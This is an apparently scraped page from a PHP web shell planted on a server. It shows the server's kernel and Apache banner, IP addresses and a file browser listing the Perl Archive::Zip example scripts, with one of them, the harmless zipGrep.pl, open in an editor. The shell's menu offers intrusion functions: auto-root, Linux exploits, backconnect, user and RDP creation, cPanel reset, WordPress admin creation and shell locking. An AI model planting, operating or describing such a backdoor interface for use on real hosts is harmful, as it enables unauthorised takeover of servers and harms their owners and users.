Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
perl-Archive-Zip-1.30 /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
calcSizes.pl
876
B
-rw-r--r--
copy.pl
451
B
-rw-r--r--
extract.pl
866
B
-rw-r--r--
mailZip.pl
1.54
KB
-rw-r--r--
mfh.pl
619
B
-rw-r--r--
readScalar.pl
752
B
-rw-r--r--
selfex.pl
1.52
KB
-rw-r--r--
unzipAll.pl
555
B
-rw-r--r--
updateTree.pl
809
B
-rw-r--r--
updateZip.pl
844
B
-rw-r--r--
writeScalar.pl
607
B
-rw-r--r--
writeScalar2.pl
606
B
-rw-r--r--
zip.pl
634
B
-rw-r--r--
zipGrep.pl
1.35
KB
-rw-r--r--
zipcheck.pl
943
B
-rw-r--r--
zipinfo.pl
4.06
KB
-rw-r--r--
ziprecent.pl
7.53
KB
-rw-r--r--
ziptest.pl
1.62
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : zipGrep.pl
#!/usr/bin/perl -w # This program searches for the given Perl regular expression in a Zip archive. # Archive is assumed to contain text files. # By Ned Konz, perl@bike-nomad.com # Usage: # perl zipGrep.pl 'pattern' myZip.zip # use strict; use Archive::Zip qw(:CONSTANTS :ERROR_CODES); if ( @ARGV != 2 ) { print <<EOF; This program searches for the given Perl regular expression in a Zip archive. Archive is assumed to contain text files. Usage: perl $0 'pattern' myZip.zip EOF exit 1; } my $pattern = shift; $pattern = qr{$pattern}; # compile the regular expression my $zipName = shift; my $zip = Archive::Zip->new(); if ( $zip->read($zipName) != AZ_OK ) { die "Read error reading $zipName\n"; } foreach my $member ( $zip->members() ) { my ( $bufferRef, $status, $lastChunk ); my $memberName = $member->fileName(); my $lineNumber = 1; $lastChunk = ''; $member->desiredCompressionMethod(COMPRESSION_STORED); $status = $member->rewindData(); die "rewind error $status" if $status != AZ_OK; while ( !$member->readIsDone() ) { ( $bufferRef, $status ) = $member->readChunk(); die "readChunk error $status" if $status != AZ_OK && $status != AZ_STREAM_END; my $buffer = $lastChunk . $$bufferRef; while ( $buffer =~ m{(.*$pattern.*\n)}mg ) { print "$memberName:$1"; } ($lastChunk) = $$bufferRef =~ m{([^\n\r]+)\z}; } $member->endRead(); }
Close